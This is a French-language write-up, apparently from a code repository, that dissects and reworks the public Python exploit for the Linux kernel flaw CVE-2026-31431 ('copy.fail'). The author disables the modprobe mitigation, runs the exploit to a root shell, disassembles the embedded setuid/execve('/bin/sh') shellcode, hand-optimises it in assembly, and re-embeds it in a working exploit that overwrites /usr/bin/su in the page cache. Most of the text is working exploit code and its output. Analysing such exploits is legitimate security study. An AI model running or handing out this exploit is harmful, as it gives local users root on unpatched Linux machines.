
CVE-2026-31431 (Échec de copie) — Analyse et développement en assembleur x86-64 | Analyse et développement en assembleur x86-64
En nous basant sur le code source publié sur Theori, nous allons réaliser plusieurs exercices jusqu'à le convertir entièrement en langage Assembleur pur (sans bibliothèques externes).```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## Environnement de test
Nous allons réaliser l'exercice sur la machine suivante.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Nous exécutons le programme en Python pour valider si le système est vulnérable. Si cela donne une erreur, il n'est pas vulnérable ; si cela ouvre le shell sh, il est vulnérable.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### Désactiver la mitigation
Sur cette machine, la mitigation a été téléchargée via les mises à jour automatiques de sécurité, c'est pourquoi elle a échoué. Pour tester, nous abaissons la défense en renommant le fichier où se trouve la mitigation.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
Nous testons à nouveau le programme et cette fois, il nous renvoie le shell et nous vérifions que nous sommes root.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### Réactiver la protection
Une fois l'exercice terminé, nous exécutons ce qui suit pour réactiver la protection :```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
La première chose à analyser est de savoir ce qu'est la chaîne compressée avec zlib. Pour cela, nous créons un programme en Python, decompress.py, qui la décompresse et génère un fichier : output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
Nous exécutons et analysons le type de fichier.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Maintenant que nous savons qu'il s'agit d'un fichier ELF 64-bit LSB executable, nous allons l'examiner.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
La structure ELF occupe **120 octets** : **En-tête ELF** (64 octets) + **En-tête de programme** (56 octets). Le code machine commence à partir de l'octet 120 (0x78), ce qui correspond à l'**adresse du point d'entrée : 0x400078**.
### Désassemblage du code
Ayant l'**adresse du point d'entrée : 0x400078**, nous pouvons maintenant commencer à désassembler le code.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
Explication de chaque paramètre :
-D — Désassembler tout. Désassemble tout le contenu du fichier, pas seulement les sections marquées comme code. Sans cela, -d ne désassemble que .text, et comme ce fichier n'a pas de sections ELF (c'est du binaire pur), il n'afficherait rien.-b binary — Format binaire. Indique à objdump de traiter le fichier comme des données brutes, sans tenter d'analyser les en-têtes ELF. Sans cela, objdump essaierait de lire l'en-tête ELF du fichier et échouerait ou désassemblerait mal.-m i386:x86-64 — Architecture machine. Spécifie le jeu d'instructions pour le désassemblage. i386 est la famille de base, :x86-64 précise le mode 64 bits. C'est nécessaire lorsqu'on utilise -b binary, car sans en-têtes ELF, objdump n'a aucun moyen de connaître l'architecture. Sans -m, il suppose i386 (32 bits) et le désassemblage échoue — les instructions 64 bits comme lea rdi, [rip+0xf] sont décodées en charabia.-M intel — Mode syntaxe. Utilise la syntaxe Intel () au lieu de AT&T ().En résumé : avec -b binary, le -m est obligatoire car objdump ne peut pas déduire l'architecture sans en-tête ELF. Avec un fichier ELF normal (sans -b binary), -m n'est pas nécessaire car l'architecture est dans e_machine de l'en-tête.
Le paramètre -z est fondamental dans ce cas, car comme nous le verrons plus loin, il y a des zéros utilisés comme remplissage et sans ce paramètre, il afficherait ce qui suit et nous n'aurions pas le désassemblage exact.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### Identification de la chaîne "/bin/sh"
Dans la sortie de objdump, nous voyons :```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
et à l'emplacement 0x80, nous avons :```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
En interprétant cette dernière ligne, nous déduisons qu'il s'agit d'une chaîne, qui commence à l'emplacement 0x96 et se termine à 0x9F. Nous pouvons voir la chaîne des manières suivantes :```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
Le premier 00 est le terminateur nul qui marque la fin de la chaîne (/bin/sh\0). Les deux 00 restants sont un padding d'alignement.
En passant le code propre, on obtient :```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> Le padding assure que le total soit divisible par 4, car l'exploit en Python écrit le payload dans le cache de pages par chunks de 4 octets. Si la taille n'était pas un multiple de 4, le dernier chunk serait incomplet et l'écriture serait incorrecte.
### Vérification d'identité avec l'original
Nous vérifions que ce code est identique au fichier **output.bin** que nous avons généré en décompressant la chaîne, en compilant comme binaire :```bash
> $ nasm -f bin payload.asm -o payload.bin
Nous extrayons uniquement le code du fichier output.bin. Comme nous savons que les 120 premiers octets correspondent à la structure ELF, nous sautons cette quantité d'octets.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
Nous confirmons que notre code est identique au payload original. Trois façons de le faire sont présentées.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
Ayant la certitude que le code payload.asm correspond exactement à l'original, nous allons l'optimiser.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
Padding d'alignement: 120 (en-têtes) + 35 (code) = 155 -> +1 octet = 156 / 4 = 39 morceaux.
Dans la **Partie 2**, nous verrons en détail la raison de chaque optimisation.
Compilons:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
Pour exécuter les payloads directement, nous devons les compiler et les lier de la manière suivante :```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
Si nous voulons supprimer l'avertissement, après **`section .text`** nous devrions ajouter les lignes suivantes :```assembly
global _start
_start:
Nous combinons les en-têtes ELF (les 120 premiers octets) du payload original (output.bin) et le payload optimisé de 36 octets (payload-optimized.bin). Nous effectuons quelques vérifications, attribuons les permissions d'exécution et, en exécutant, nous obtenons le shell.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## Analyse des en-têtes ELF
En concaténant les en-têtes (120 octets) du ELF original avec notre payload optimisé (36 octets), le fichier résultant fait 156 octets, mais les champs **p_filesz** et **p_memsz** dans les en-têtes indiquent toujours 158, la valeur du fichier original de 160 octets. Nous allons analyser et corriger ces champs.
Pour cela, nous avons besoin de connaître les structures des en-têtes d'un fichier ELF.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
Observons les valeurs de p_filesz et p_memsz dans l'en-tête de programme. Ils indiquent combien d'octets du segment sont présents dans le fichier sur disque et combien sont réservés en mémoire lors du chargement.
Les offsets de p_filesz et p_memsz sont respectivement 0x60 et 0x68.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### Vérification de l'endianness
Visuellement, nous remarquons que les valeurs sont en **little-endian**, car si elles étaient en big-endian, elles seraient énormes et ne correspondraient pas à la taille de 160 octets. Pour le confirmer, nous vérifions quelle valeur a **e_ident[5]** de l'en-tête ELF.
Les valeurs possibles sont :
| Valeur | Constante | Signification |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-endian (SPARC, PowerPC, MIPS BE) |
Exécutons :```bash
> $ xxd -s 5 -l 1 -p output.bin
01
Confirmé qu'il est en little-endian. Nous voyons les valeurs en décimal :```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### Comparaison des tailles
Nous listons les tailles des fichiers.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
La taille du fichier original est de 160 octets, mais dans la structure, il a assigné 158 octets. Cela est dû au fait que le fichier a deux octets de padding à la fin et que l'auteur a décidé d'être précis et d'indiquer uniquement les octets qui vont être chargés. Si au lieu de 158 il avait 160, cela s'exécuterait également correctement car les deux octets de padding ne sont jamais exécutés (ils se trouvent après exit) et ne sont pas non plus référencés.
Notre fichier optimisé occupe 156 octets et possède un octet de padding. En suivant la même ligne de précision de l'auteur du programme, nous allons définir p_filesz et p_memsz à 155.
Nous convertissons 155 décimal en hexadécimal.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
C'est une bonne pratique que les champs **p_filesz** et **p_memsz** du Program Header aient les valeurs correctes.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
Nous confirmons que les modifications ont été appliquées correctement.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
Nous pouvons également le confirmer en regardant le Program Header.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
Nous l'exécutons et il continue de fonctionner correctement.```bash
$ ./payload-optimized.elf $
## Intégration dans l'exploit
Nous créons un programme qui comprime le payload optimisé et renvoie la chaîne hexadécimale pour l'insérer dans l'exploit.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
(empty input, nothing to translate)```bash
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
Nous remplaçons la chaîne compressée dans l'exploit original par la nouvelle chaîne optimisée.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Nous testons l'exploit avec le payload optimisé et confirmons qu'il fonctionne correctement.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ Ne pas oublier [de réactiver la protection](#reactivar-la-protección) une fois le test terminé.
## Contact
Si vous avez des questions, des suggestions ou des corrections, écrivez-moi en indiquant le nom du dépôt à :
✉️ `[email protected]`
mov al, 0x69mov $0x69, %al-z — Désactive la suppression des séquences de zéros. Ainsi, il affiche tout sans omettre les zéros.--start-address=0x78 — Commencer à l'offset 0x78 (120 octets). Saute les en-têtes ELF et l'en-tête de programme du payload, ne désassemblant que le code machine. Sans cela, il désassemblerait les en-têtes comme s'il s'agissait d'instructions.